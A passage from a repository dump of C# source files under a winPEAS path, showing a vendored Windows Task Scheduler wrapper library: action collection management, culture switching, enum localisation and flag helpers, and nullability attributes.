SaveV1Actions();\n                }\n                OnNotifyPropertyChanged(IndexerName);\n                CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Replace, value, orig, index));\n            }\n        }\n\n        object IList.this[int index]\n        {\n            get => this[index];\n            set => this[index] = (Action)value;\n        }\n\n        /// <summary>Adds an action to the task.</summary>\n        /// <typeparam name=\"TAction\">A type derived from <see cref=\"Action\"/>.</typeparam>\n        /// <param name=\"action\">A derived <see cref=\"Action\"/> class.</param>\n        /// <returns>The bound <see cref=\"Action\"/> that was added to the collection.</returns>\n        [NotNull]\n        public TAction Add<TAction>([NotNull] TAction action) where TAction : Action\n        {\n            if (action == null)\n                throw new ArgumentNullException(nameof(action));\n            if (v2Def != null)\n                action.Bind(v2Def);\n            else\n            {\n                if (!SupportV1Conversion && (v1Actions.Count >= 1 || !(action is Action.ExecAction)))\n                    throw new NotV1SupportedException($\"Only a single {nameof(Action.ExecAction)} is supported unless the {nameof(PowerShellConversion)} property includes the {nameof(PowerShellActionPlatformOption.Version1)} value.\");\n                v1Actions.Add(action);\n                SaveV1Actions();\n            }\n            OnNotifyPropertyChanged(nameof(Count));\n            OnNotifyPropertyChanged(IndexerName);\n            CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Add, action));\n            return action;\n        }\n\n        /// <summary>Adds an <see cref=\"Action.ExecAction\"/> to the task.</summary>\n        /// <param name=\"path\">Path to an executable file.</param>\n        /// <param name=\"arguments\">Arguments associated with the command-line operation. This value can be null.</param>\n        /// <param name=\"workingDirectory\">\n        /// Directory that contains either the executable file or the files that are used by the executable file. This value can be null.\n        /// </param>\n        /// <returns>The bound <see cref=\"Action.ExecAction\"/> that was added to the collection.</returns>\n        [NotNull]\n        public Action.ExecAction Add([NotNull] string path, [CanBeNull] string arguments = null, [CanBeNull] string workingDirectory = null) =>\n            Add(new Action.ExecAction(path, arguments, workingDirectory));\n\n        /// <summary>Adds a new <see cref=\"Action\"/> instance to the task.</summary>\n        /// <param name=\"actionType\">Type of task to be created</param>\n        /// <returns>Specialized <see cref=\"Action\"/> instance.</returns>\n        [NotNull]\n        public Action AddNew(TaskActionType actionType)\n        {\n            if (Count >= MaxActions)\n                throw new ArgumentOutOfRangeException(nameof(actionType), \"A maximum of 32 actions is allowed within a single task.\");\n            if (v1Task != null)\n            {\n                if (!SupportV1Conversion && (v1Actions.Count >= 1 || actionType != TaskActionType.Execute))\n                    throw new NotV1SupportedException($\"Only a single {nameof(Action.ExecAction)} is supported unless the {nameof(PowerShellConversion)} property includes the {nameof(PowerShellActionPlatformOption.Version1)} value.\");\n                return Action.CreateAction(v1Task);\n            }\n            return Action.CreateAction(v2Coll.Create(actionType));\n        }\n\n        /// <summary>Adds a collection of actions to the end of the <see cref=\"ActionCollection\"/>.</summary>\n        /// <param name=\"actions\">\n        /// The actions to be added to the end of the <see cref=\"ActionCollection\"/>. The collection itself cannot be <c>null</c> and cannot\n        /// contain <c>null</c> elements.\n        /// </param>\n        /// <exception cref=\"ArgumentNullException\"><paramref name=\"actions\"/> is <c>null</c>.</exception>\n        public void AddRange([ItemNotNull, NotNull] IEnumerable<Action> actions)\n        {\n            if (actions == null)\n                throw new ArgumentNullException(nameof(actions));\n            if (v1Task != null)\n            {\n                var list = new List<Action>(actions);\n                var at = list.Count == 1 && list[0].ActionType == TaskActionType.Execute;\n                if (!SupportV1Conversion && ((v1Actions.Count + list.Count) > 1 || !at))\n                    throw new NotV1SupportedException($\"Only a single {nameof(Action.ExecAction)} is supported unless the {nameof(PowerShellConversion)} property includes the {nameof(PowerShellActionPlatformOption.Version1)} value.\");\n                v1Actions.AddRange(actions);\n                SaveV1Actions();\n            }\n            else\n            {\n                foreach (var item in actions)\n                    Add(item);\n            }\n        }\n\n        /// <summary>Clears all actions from the task.</summary>\n        public void Clear()\n        {\n            if (v2Coll != null)\n                v2Coll.Clear();\n            else\n            {\n                v1Actions.Clear();\n                SaveV1Actions();\n            }\n            OnNotifyPropertyChanged(nameof(Count));\n            OnNotifyPropertyChanged(IndexerName);\n            CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Reset));\n        }\n\n        /// <summary>Determines whether the <see cref=\"ICollection{T}\"/> contains a specific value.</summary>\n        /// <param name=\"item\">The object to locate in the <see cref=\"ICollection{T}\"/>.</param>\n        /// <returns>true if <paramref name=\"item\"/> is found in the <see cref=\"ICollection{T}\"/>; otherwise, false.</returns>\n        public bool Contains([NotNull] Action item) => Find(a => a.Equals(item)) != null;\n\n        /// <summary>Determines whether the specified action type is contained in this collection.</summary>\n        /// <param name=\"actionType\">Type of the action.</param>\n        /// <returns><c>true</c> if the specified action type is contained in this collection; otherwise, <c>false</c>.</returns>\n        public bool ContainsType(Type actionType) => Find(a => a.GetType() == actionType) != null;\n\n        /// <summary>\n        /// Copies the elements of the <see cref=\"ActionCollection\"/> to an array of <see cref=\"Action\"/>, starting at a particular index.\n        /// </summary>\n        /// <param name=\"array\">\n        /// The <see cref=\"Action\"/> array that is the destination of the elements copied from <see cref=\"ActionCollection\"/>. The <see\n        /// cref=\"Action\"/> array must have zero-based indexing.\n        /// </param>\n        /// <param name=\"arrayIndex\">The zero-based index in <see cref=\"Action\"/> array at which copying begins.</param>\n        public void CopyTo(Action[] array, int arrayIndex) => CopyTo(0, array, arrayIndex, Count);\n\n        /// <summary>\n        /// Copies the elements of the <see cref=\"ActionCollection\"/> to an <see cref=\"Action\"/> array, starting at a particular <see\n        /// cref=\"Action\"/> array index.\n        /// </summary>\n        /// <param name=\"index\">The zero-based index in the source at which copying begins.</param>\n        /// <param name=\"array\">\n        /// The <see cref=\"Action\"/> array that is the destination of the elements copied from <see cref=\"ActionCollection\"/>. The <see\n        /// cref=\"Action\"/> array must have zero-based indexing.\n        /// </param>\n        /// <param name=\"arrayIndex\">The zero-based index in <see cref=\"Action\"/> array at which copying begins.</param>\n        /// <param name=\"count\">The number of elements to copy.</param>\n        /// <exception cref=\"ArgumentNullException\"><paramref name=\"array\"/> is null.</exception>\n        /// <exception cref=\"ArgumentOutOfRangeException\"><paramref name=\"arrayIndex\"/> is less than 0.</exception>\n        /// <exception cref=\"ArgumentException\">\n        /// The number of elements in the source <see cref=\"ActionCollection\"/> is greater than the available space from <paramref\n        /// name=\"arrayIndex\"/> to the end of the destination <paramref name=\"array\"/>.\n        /// </exception>\n        public void CopyTo(int index, [NotNull] Action[] array, int arrayIndex, int count)\n        {\n            if (array == null)\n                throw new ArgumentNullException(nameof(array));\n            if (index < 0 || index >= Count)\n                throw new ArgumentOutOfRangeException(nameof(index));\n            if (arrayIndex < 0)\n                throw new ArgumentOutOfRangeException(nameof(arrayIndex));\n            if (count < 0 || count > (Count - index))\n                throw new ArgumentOutOfRangeException(nameof(count));\n            if ((Count - index) > (array.Length - arrayIndex))\n                throw new ArgumentOutOfRangeException(nameof(arrayIndex));\n            for (var i = 0; i < count; i++)\n                array[arrayIndex + i] = (Action)this[index + i].Clone();\n        }\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public void Dispose()\n        {\n            v1Task = null;\n            v2Def = null;\n            if (v2Coll != null) Marshal.ReleaseComObject(v2Coll);\n        }\n\n        /// <summary>\n        /// Searches for an <see cref=\"Action\"/> that matches the conditions defined by the specified predicate, and returns the first\n        /// occurrence within the entire collection.\n        /// </summary>\n        /// <param name=\"match\">\n        /// The <see cref=\"Predicate{Action}\"/> delegate that defines the conditions of the <see cref=\"Action\"/> to search for.\n        /// </param>\n        /// <returns>\n        /// The first <see cref=\"Action\"/> that matches the conditions defined by the specified predicate, if found; otherwise, <c>null</c>.\n        /// </returns>\n        public Action Find(Predicate<Action> match)\n        {\n            if (match == null)\n                throw new ArgumentNullException(nameof(match));\n            foreach (var item in this)\n                if (match(item)) return item;\n            return null;\n        }\n\n        /// <summary>\n        /// Searches for an <see cref=\"Action\"/> that matches the conditions defined by the specified predicate, and returns the zero-based\n        /// index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements.\n        /// </summary>\n        /// <param name=\"startIndex\">The zero-based starting index of the search.</param>\n        /// <param name=\"count\">The number of elements in the collection to search.</param>\n        /// <param name=\"match\">The <see cref=\"Predicate{Action}\"/> delegate that defines the conditions of the element to search for.</param>\n        /// <returns>\n        /// The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1.\n        /// </returns>\n        public int FindIndexOf(int startIndex, int count, [NotNull] Predicate<Action> match)\n        {\n            if (startIndex < 0 || startIndex >= Count)\n                throw new ArgumentOutOfRangeException(nameof(startIndex));\n            if (startIndex + count > Count)\n                throw new ArgumentOutOfRangeException(nameof(count));\n            if (match == null)\n                throw new ArgumentNullException(nameof(match));\n            for (var i = startIndex; i < startIndex + count; i++)\n                if (match(this[i])) return i;\n            return -1;\n        }\n\n        /// <summary>\n        /// Searches for an <see cref=\"Action\"/> that matches the conditions defined by the specified predicate, and returns the zero-based\n        /// index of the first occurrence within the collection.\n        /// </summary>\n        /// <param name=\"match\">The <see cref=\"Predicate{Action}\"/> delegate that defines the conditions of the element to search for.</param>\n        /// <returns>\n        /// The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1.\n        /// </returns>\n        public int FindIndexOf([NotNull] Predicate<Action> match) => FindIndexOf(0, Count, match);\n\n        /// <summary>Retrieves an enumeration of each of the actions.</summary>\n        /// <returns>\n        /// Returns an object that implements the <see cref=\"IEnumerator\"/> interface and that can iterate through the <see cref=\"Action\"/>\n        /// objects within the <see cref=\"ActionCollection\"/>.\n        /// </returns>\n        public IEnumerator<Action> GetEnumerator()\n        {\n            if (v2Coll != null)\n                return new ComEnumerator<Action, IAction>(() => v2Coll.Count, i => v2Coll[i], Action.CreateAction);\n            return v1Actions.GetEnumerator();\n        }\n\n        /// <summary>Determines the index of a specific item in the <see cref=\"IList{T}\"/>.</summary>\n        /// <param name=\"item\">The object to locate in the <see cref=\"IList{T}\"/>.</param>\n        /// <returns>The index of <paramref name=\"item\"/> if found in the list; otherwise, -1.</returns>\n        public int IndexOf(Action item) => FindIndexOf(a => a.Equals(item));\n\n        /// <summary>Determines the index of a specific item in the <see cref=\"IList{T}\"/>.</summary>\n        /// <param name=\"actionId\">The id ( <see cref=\"Action.Id\"/>) of the action to be retrieved.</param>\n        /// <returns>The index of <paramref name=\"actionId\"/> if found in the list; otherwise, -1.</returns>\n        public int IndexOf(string actionId)\n        {\n            if (string.IsNullOrEmpty(actionId))\n                throw new ArgumentNullException(nameof(actionId));\n            return FindIndexOf(a => string.Equals(a.Id, actionId));\n        }\n\n        /// <summary>Inserts an action at the specified index.</summary>\n        /// <param name=\"index\">The zero-based index at which action should be inserted.</param>\n        /// <param name=\"action\">The action to insert into the list.</param>\n        public void Insert(int index, [NotNull] Action action)\n        {\n            if (action == null)\n                throw new ArgumentNullException(nameof(action));\n            if (index < 0 || index > Count)\n                throw new ArgumentOutOfRangeException(nameof(index));\n\n            if (v2Coll != null)\n            {\n                var pushItems = new Action[Count - index];\n                if (Count != index)\n                {\n                    CopyTo(index, pushItems, 0, Count - index);\n                    for (var j = Count - 1; j >= index; j--)\n                        RemoveAt(j);\n                }\n                Add(action);\n                if (Count != index)\n                    for (var k = 0; k < pushItems.Length; k++)\n                        Add(pushItems[k]);\n            }\n            else\n            {\n                if (!SupportV1Conversion && (index > 0 || !(action is Action.ExecAction)))\n                    throw new NotV1SupportedException($\"Only a single {nameof(Action.ExecAction)} is supported unless the {nameof(PowerShellConversion)} property includes the {nameof(PowerShellActionPlatformOption.Version1)} value.\");\n                v1Actions.Insert(index, action);\n                SaveV1Actions();\n            }\n\n            if (!inV2set)\n            {\n                OnNotifyPropertyChanged(nameof(Count));\n                OnNotifyPropertyChanged(IndexerName);\n                CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Add, action, index));\n            }\n        }\n\n        /// <summary>Removes the first occurrence of a specific object from the <see cref=\"ICollection{T}\"/>.</summary>\n        /// <param name=\"item\">The object to remove from the <see cref=\"ICollection{T}\"/>.</param>\n        /// <returns>\n        /// true if <paramref name=\"item\"/> was successfully removed from the <see cref=\"ICollection{T}\"/>; otherwise, false. This method\n        /// also returns false if <paramref name=\"item\"/> is not found in the original <see cref=\"ICollection{T}\"/>.\n        /// </returns>\n        public bool Remove([NotNull] Action item)\n        {\n            var idx = IndexOf(item);\n            if (idx != -1)\n            {\n                try\n                {\n                    RemoveAt(idx);\n                    return true;\n                }\n                catch { }\n            }\n            return false;\n        }\n\n        /// <summary>Removes the action at a specified index.</summary>\n        /// <param name=\"index\">Index of action to remove.</param>\n        /// <exception cref=\"ArgumentOutOfRangeException\">Index out of range.</exception>\n        public void RemoveAt(int index)\n        {\n            if (index < 0 || index >= Count)\n                throw new ArgumentOutOfRangeException(nameof(index), index, \"Failed to remove action. Index out of range.\");\n            var item = this[index].Clone();\n            if (v2Coll != null)\n                v2Coll.Remove(++index);\n            else\n            {\n                v1Actions.RemoveAt(index);\n                SaveV1Actions();\n            }\n            if (!inV2set)\n            {\n                OnNotifyPropertyChanged(nameof(Count));\n                OnNotifyPropertyChanged(IndexerName);\n                CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Remove, item, index));\n            }\n        }\n\n        /// <summary>Copies the elements of the <see cref=\"ActionCollection\"/> to a new array.</summary>\n        /// <returns>An array containing copies of the elements of the <see cref=\"ActionCollection\"/>.</returns>\n        [NotNull, ItemNotNull]\n        public Action[] ToArray()\n        {\n            var ret = new Action[Count];\n            CopyTo(ret, 0);\n            return ret;\n        }\n\n        /// <summary>Returns a <see cref=\"string\"/> that represents the actions in this collection.</summary>\n        /// <returns>A <see cref=\"string\"/> that represents the actions in this collection.</returns>\n        public override string ToString()\n        {\n            if (Count == 1)\n                return this[0].ToString();\n            if (Count > 1)\n                return Properties.Resources.MultipleActions;\n            return string.Empty;\n        }\n\n        void ICollection<Action>.Add(Action item) => Add(item);\n\n        int IList.Add(object value)\n        {\n            Add((Action)value);\n            return Count - 1;\n        }\n\n        bool IList.Contains(object value) => Contains((Action)value);\n\n        void ICollection.CopyTo(Array array, int index)\n        {\n            if (array != null && array.Rank != 1)\n                throw new RankException(\"Multi-dimensional arrays are not supported.\");\n            var src = new Action[Count];\n            CopyTo(src, 0);\n            Array.Copy(src, 0, array, index, Count);\n        }\n\n        IEnumerator IEnumerable.GetEnumerator() => GetEnumerator();\n\n        System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null;\n\n        int IList.IndexOf(object value) => IndexOf((Action)value);\n\n        void IList.Insert(int index, object value) => Insert(index, (Action)value);\n\n        void IXmlSerializable.ReadXml(System.Xml.XmlReader reader)\n        {\n            reader.ReadStartElement(XmlSerializationHelper.GetElementName(this), TaskDefinition.tns);\n            Context = reader.GetAttribute(\"Context\");\n            while (reader.MoveToContent() == System.Xml.XmlNodeType.Element)\n            {\n                var a = Action.CreateAction(Action.TryParse(reader.LocalName == \"Exec\" ? \"Execute\" : reader.LocalName, TaskActionType.Execute));\n                XmlSerializationHelper.ReadObject(reader, a);\n                Add(a);\n            }\n            reader.ReadEndElement();\n        }\n\n        void IList.Remove(object value) => Remove((Action)value);\n\n        void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer)\n        {\n            // TODO:FIX if (!string.IsNullOrEmpty(Context)) writer.WriteAttributeString(\"Context\", Context);\n            foreach (var item in this)\n                XmlSerializationHelper.WriteObject(writer, item);\n        }\n\n        internal void ConvertUnsupportedActions()\n        {\n            if (TaskService.LibraryVersion.Minor > 3 && SupportV2Conversion)\n            {\n                for (var i = 0; i < Count; i++)\n                {\n                    var action = this[i];\n                    var bindable = action as IBindAsExecAction;\n                    if (bindable != null && !(action is Action.ComHandlerAction))\n                        this[i] = Action.ExecAction.ConvertToPowerShellAction(action);\n                }\n            }\n        }\n\n        private List<Action> GetV1Actions()\n        {\n            var ret = new List<Action>();\n            if (v1Task != null && v1Task.GetDataItem(\"ActionType\") != \"EMPTY\")\n            {\n                var exec = new Action.ExecAction(v1Task);\n                var items = exec.ParsePowerShellItems();\n                if (items != null)\n                {\n                    if (items.Length == 2 && items[0] == \"MULTIPLE\")\n                    {\n                        PowerShellConversion |= PowerShellActionPlatformOption.Version1;\n                        var mc = System.Text.RegularExpressions.Regex.Matches(items[1], @\"<# (?<id>\\w+):(?<t>\\w+) #>\\s*(?<c>[^<#]*)\\s*\");\n                        foreach (System.Text.RegularExpressions.Match ms in mc)\n                        {\n                            var a = Action.ActionFromScript(ms.Groups[\"t\"].Value, ms.Groups[\"c\"].Value);\n                            if (a != null)\n                            {\n                                if (ms.Groups[\"id\"].Value != \"NO_ID\")\n                                    a.Id = ms.Groups[\"id\"].Value;\n                                ret.Add(a);\n                            }\n                        }\n                    }\n                    else\n                        ret.Add(Action.ConvertFromPowerShellAction(exec));\n                }\n                else if (!string.IsNullOrEmpty(exec.Path))\n                {\n                    ret.Add(exec);\n                }\n            }\n            return ret;\n        }\n\n        /// <summary>Called when a property has changed to notify any attached elements.</summary>\n        /// <param name=\"propertyName\">Name of the property.</param>\n        private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = \"\") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));\n\n        private void SaveV1Actions()\n        {\n            if (v1Task == null)\n                throw new ArgumentNullException(nameof(v1Task));\n            if (v1Actions.Count == 0)\n            {\n                v1Task.SetApplicationName(string.Empty);\n                v1Task.SetParameters(string.Empty);\n                v1Task.SetWorkingDirectory(string.Empty);\n                v1Task.SetDataItem(\"ActionId\", null);\n                v1Task.SetDataItem(\"ActionType\", \"EMPTY\");\n            }\n            else if (v1Actions.Count == 1)\n            {\n                if (!SupportV1Conversion && v1Actions[0].ActionType != TaskActionType.Execute)\n                    throw new NotV1SupportedException($\"Only a single {nameof(Action.ExecAction)} is supported unless the {nameof(PowerShellConversion)} property includes the {nameof(PowerShellActionPlatformOption.Version1)} value.\");\n                v1Task.SetDataItem(\"ActionType\", null);\n                v1Actions[0].Bind(v1Task);\n            }\n            else\n            {\n                if (!SupportV1Conversion)\n                    throw new NotV1SupportedException($\"Only a single {nameof(Action.ExecAction)} is supported unless the {nameof(PowerShellConversion)} property includes the {nameof(PowerShellActionPlatformOption.Version1)} value.\");\n                // Build list of internal PowerShell scripts\n                var sb = new System.Text.StringBuilder();\n                foreach (var item in v1Actions)\n                    sb.Append($\"<# {item.Id ?? \"NO_ID\"}:{item.ActionType} #> {item.GetPowerShellCommand()} \");\n\n                // Build and save PS ExecAction\n                var ea = Action.ExecAction.CreatePowerShellAction(\"MULTIPLE\", sb.ToString());\n                ea.Bind(v1Task);\n                v1Task.SetDataItem(\"ActionId\", null);\n                v1Task.SetDataItem(\"ActionType\", \"MULTIPLE\");\n            }\n        }\n\n        private void UnconvertUnsupportedActions()\n        {\n            if (TaskService.LibraryVersion.Minor > 3)\n            {\n                for (var i = 0; i < Count; i++)\n                {\n                    var action = this[i] as Action.ExecAction;\n                    if (action != null)\n                    {\n                        var newAction = Action.ConvertFromPowerShellAction(action);\n                        if (newAction != null)\n                            this[i] = newAction;\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/CultureSwitcher.cs",
    "content": "﻿using System;\nusing System.Threading;\n\nnamespace winPEAS.TaskScheduler\n{\n    internal class CultureSwitcher : IDisposable\n    {\n        private readonly System.Globalization.CultureInfo cur, curUI;\n\n        public CultureSwitcher([NotNull] System.Globalization.CultureInfo culture)\n        {\n            cur = Thread.CurrentThread.CurrentCulture;\n            curUI = Thread.CurrentThread.CurrentUICulture;\n            Thread.CurrentThread.CurrentCulture = Thread.CurrentThread.CurrentUICulture = culture;\n        }\n\n        public void Dispose()\n        {\n            Thread.CurrentThread.CurrentCulture = cur;\n            Thread.CurrentThread.CurrentUICulture = curUI;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/EnumGlobalizer.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Globalization;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>\n    /// Functions to provide localized strings for enumerated types and values.\n    /// </summary>\n    public static class TaskEnumGlobalizer\n    {\n        /// <summary>\n        /// Gets a string representing the localized value of the provided enum.\n        /// </summary>\n        /// <param name=\"enumValue\">The enum value.</param>\n        /// <returns>A localized string, if available.</returns>\n        public static string GetString(object enumValue)\n        {\n            switch (enumValue.GetType().Name)\n            {\n                case \"DaysOfTheWeek\":\n                    return GetCultureEquivalentString((DaysOfTheWeek)enumValue);\n                case \"MonthsOfTheYear\":\n                    return GetCultureEquivalentString((MonthsOfTheYear)enumValue);\n                case \"TaskTriggerType\":\n                    return BuildEnumString(\"TriggerType\", enumValue);\n                case \"WhichWeek\":\n                    return BuildEnumString(\"WW\", enumValue);\n                case \"TaskActionType\":\n                    return BuildEnumString(\"ActionType\", enumValue);\n                case \"TaskState\":\n                    return BuildEnumString(\"TaskState\", enumValue);\n            }\n            return enumValue.ToString();\n        }\n\n        private static string GetCultureEquivalentString(DaysOfTheWeek val)\n        {\n            if (val == DaysOfTheWeek.AllDays)\n                return Properties.Resources.DOWAllDays;\n\n            var s = new List<string>(7);\n            var vals = Enum.GetValues(val.GetType());\n            for (var i = 0; i < vals.Length - 1; i++)\n            {\n                if ((val & (DaysOfTheWeek)vals.GetValue(i)) > 0)\n                    s.Add(DateTimeFormatInfo.CurrentInfo.GetDayName((DayOfWeek)i));\n            }\n\n            return string.Join(Properties.Resources.ListSeparator, s.ToArray());\n        }\n\n        private static string GetCultureEquivalentString(MonthsOfTheYear val)\n        {\n            if (val == MonthsOfTheYear.AllMonths)\n                return Properties.Resources.MOYAllMonths;\n\n            var s = new List<string>(12);\n            var vals = Enum.GetValues(val.GetType());\n            for (var i = 0; i < vals.Length - 1; i++)\n            {\n                if ((val & (MonthsOfTheYear)vals.GetValue(i)) > 0)\n                    s.Add(DateTimeFormatInfo.CurrentInfo.GetMonthName(i + 1));\n            }\n\n            return string.Join(Properties.Resources.ListSeparator, s.ToArray());\n        }\n\n        private static string BuildEnumString(string preface, object enumValue)\n        {\n            var vals = enumValue.ToString().Split(new[] { \", \" }, StringSplitOptions.None);\n            if (vals.Length == 0)\n                return string.Empty;\n            for (var i = 0; i < vals.Length; i++)\n                vals[i] = Properties.Resources.ResourceManager.GetString(preface + vals[i]);\n            return string.Join(Properties.Resources.ListSeparator, vals);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/EnumUtil.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\n\nnamespace winPEAS.TaskScheduler\n{\n    internal static class EnumUtil\n    {\n        public static void CheckIsEnum<T>(bool checkHasFlags = false)\n        {\n            if (!typeof(T).IsEnum)\n                throw new ArgumentException($\"Type '{typeof(T).FullName}' is not an enum\");\n            if (checkHasFlags && !IsFlags<T>())\n                throw new ArgumentException($\"Type '{typeof(T).FullName}' doesn't have the 'Flags' attribute\");\n        }\n\n        public static bool IsFlags<T>() => Attribute.IsDefined(typeof(T), typeof(FlagsAttribute));\n\n        public static void CheckHasValue<T>(T value, string argName = null)\n        {\n            CheckIsEnum<T>();\n            if (IsFlags<T>())\n            {\n                var allFlags = 0L;\n                foreach (T flag in Enum.GetValues(typeof(T)))\n                    allFlags |= Convert.ToInt64(flag);\n                if ((allFlags & Convert.ToInt64(value)) != 0L)\n                    return;\n            }\n            else if (Enum.IsDefined(typeof(T), value))\n                return;\n            throw new InvalidEnumArgumentException(argName ?? \"value\", Convert.ToInt32(value), typeof(T));\n        }\n\n        public static byte BitPosition<T>(this T flags) where T : struct, IConvertible\n        {\n            CheckIsEnum<T>(true);\n            var flagValue = Convert.ToInt64(flags);\n            if (flagValue == 0) throw new ArgumentException(\"The flag value is zero and has no bit position.\");\n            var r = Math.Log(flagValue, 2);\n            if (r % 1 > 0) throw new ArithmeticException(\"The flag value has more than a single bit set.\");\n            return Convert.ToByte(r);\n        }\n\n        public static bool IsFlagSet<T>(this T flags, T flag) where T : struct, IConvertible\n        {\n            CheckIsEnum<T>(true);\n            var flagValue = Convert.ToInt64(flag);\n            return (Convert.ToInt64(flags) & flagValue) == flagValue;\n        }\n\n        public static bool IsValidFlagValue<T>(this T flags) where T : struct, IConvertible\n        {\n            CheckIsEnum<T>(true);\n            var found = 0L;\n            foreach (T flag in Enum.GetValues(typeof(T)))\n            {\n                if (flags.IsFlagSet(flag))\n                    found |= Convert.ToInt64(flag);\n            }\n            return found == Convert.ToInt64(flags);\n        }\n\n        public static void SetFlags<T>(ref T flags, T flag, bool set = true) where T : struct, IConvertible\n        {\n            CheckIsEnum<T>(true);\n            var flagsValue = Convert.ToInt64(flags);\n            var flagValue = Convert.ToInt64(flag);\n            if (set)\n                flagsValue |= flagValue;\n            else\n                flagsValue &= (~flagValue);\n            flags = (T)Enum.ToObject(typeof(T), flagsValue);\n        }\n\n        public static T SetFlags<T>(this T flags, T flag, bool set = true) where T : struct, IConvertible\n        {\n            var ret = flags;\n            SetFlags<T>(ref ret, flag, set);\n            return ret;\n        }\n\n        public static T ClearFlags<T>(this T flags, T flag) where T : struct, IConvertible => flags.SetFlags(flag, false);\n\n        public static IEnumerable<T> GetFlags<T>(this T value) where T : struct, IConvertible\n        {\n            CheckIsEnum<T>(true);\n            foreach (T flag in Enum.GetValues(typeof(T)))\n            {\n                if (value.IsFlagSet(flag))\n                    yield return flag;\n            }\n        }\n\n        public static T CombineFlags<T>(this IEnumerable<T> flags) where T : struct, IConvertible\n        {\n            CheckIsEnum<T>(true);\n            long lValue = 0;\n            foreach (var flag in flags)\n            {\n                var lFlag = Convert.ToInt64(flag);\n                lValue |= lFlag;\n            }\n            return (T)Enum.ToObject(typeof(T), lValue);\n        }\n\n        public static string GetDescription<T>(this T value) where T : struct, IConvertible\n        {\n            CheckIsEnum<T>();\n            var name = Enum.GetName(typeof(T), value);\n            if (name != null)\n            {\n                var field = typeof(T).GetField(name);\n                if (field != null)\n                {\n                    var attr = Attribute.GetCustomAttribute(field, typeof(DescriptionAttribute)) as DescriptionAttribute;\n                    if (attr != null)\n                    {\n                        return attr.Description;\n                    }\n                }\n            }\n            return null;\n        }\n\n        /// <summary>\n        /// Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of <paramref name=\"defaultVal\"/>. If <paramref name=\"defaultVal\"/> is undefined, it returns the first declared item in the enumerated type.\n        /// </summary>\n        /// <typeparam name=\"TEnum\">The enumeration type to which to convert <paramref name=\"value\"/>.</typeparam>\n        /// <param name=\"value\">The string representation of the enumeration name or underlying value to convert.</param>\n        /// <param name=\"ignoreCase\"><c>true</c> to ignore case; <c>false</c> to consider case.</param>\n        /// <param name=\"defaultVal\">The default value.</param>\n        /// <returns>An object of type <typeparamref name=\"TEnum\"/> whose value is represented by value.</returns>\n        public static TEnum TryParse<TEnum>(string value, bool ignoreCase = false, TEnum defaultVal = default(TEnum)) where TEnum : struct, IConvertible\n        {\n            CheckIsEnum<TEnum>();\n            try { return (TEnum)Enum.Parse(typeof(TEnum), value, ignoreCase); } catch { }\n            if (!Enum.IsDefined(typeof(TEnum), defaultVal))\n            {\n                var v = Enum.GetValues(typeof(TEnum));\n                if (v != null && v.Length > 0)\n                    return (TEnum)v.GetValue(0);\n            }\n            return defaultVal;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/JetBrains.Annotations.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>\n    /// Indicates that the value of the marked element could be <c>null</c> sometimes,\n    /// so the check for <c>null</c> is necessary before its usage.\n    /// </summary>\n    /// <example><code>\n    /// [CanBeNull] object Test() => null;\n    /// \n    /// void UseTest() {\n    ///   var p = Test();\n    ///   var s = p.ToString(); // Warning: Possible 'System.NullReferenceException'\n    /// }\n    /// </code></example>\n    [AttributeUsage(\n      AttributeTargets.Method | AttributeTargets.Parameter | AttributeTargets.Property |\n      AttributeTargets.Delegate | AttributeTargets.Field | AttributeTargets.Event |\n      AttributeTargets.Class | AttributeTargets.Interface | AttributeTargets.GenericParameter)]\n    internal sealed class CanBeNullAttribute : Attribute { }\n\n    /// <summary>\n    /// Indicates that the value of the marked element could never be <c>null</c>.\n    /// </summary>\n    /// <example><code>\n    /// [NotNull] object Foo() {\n    ///   return null; // Warning: Possible 'null' assignment\n    /// }\n    /// </code></example>\n    [AttributeUsage(\n      AttributeTargets.Method | AttributeTargets.Parameter | AttributeTargets.Property |\n      AttributeTargets.Delegate | AttributeTargets.Field | AttributeTargets.Event |\n      AttributeTargets.Class | AttributeTargets.Interface | AttributeTargets.GenericParameter)]\n    internal sealed class NotNullAttribute : Attribute { }\n\n    /// <summary>\n    /// Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task\n    /// and Lazy classes to indicate that the value of a collection item, of the Task.Result property\n    /// or of the Lazy.Value property can never be null.\n    /// </summary>\n    [AttributeUsage(\n      AttributeTargets.Method | AttributeTargets.Parameter | AttributeTargets.Property |\n      AttributeTargets.Delegate | AttributeTargets.Field)]\n    internal sealed class ItemNotNullAttribute : Attribute { }\n\n    /// <summary>\n    /// Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task\n    /// and Lazy classes to indicate that the value of a collection item, of the Task.Result property\n    /// or of the Lazy.Value property can be null.\n    /// </summary>\n    [AttributeUsage(\n      AttributeTargets.Method | AttributeTargets.Parameter | AttributeTargets.Property |\n      AttributeTargets.Delegate | AttributeTargets.Field)]\n    internal sealed class ItemCanBeNullAttribute : 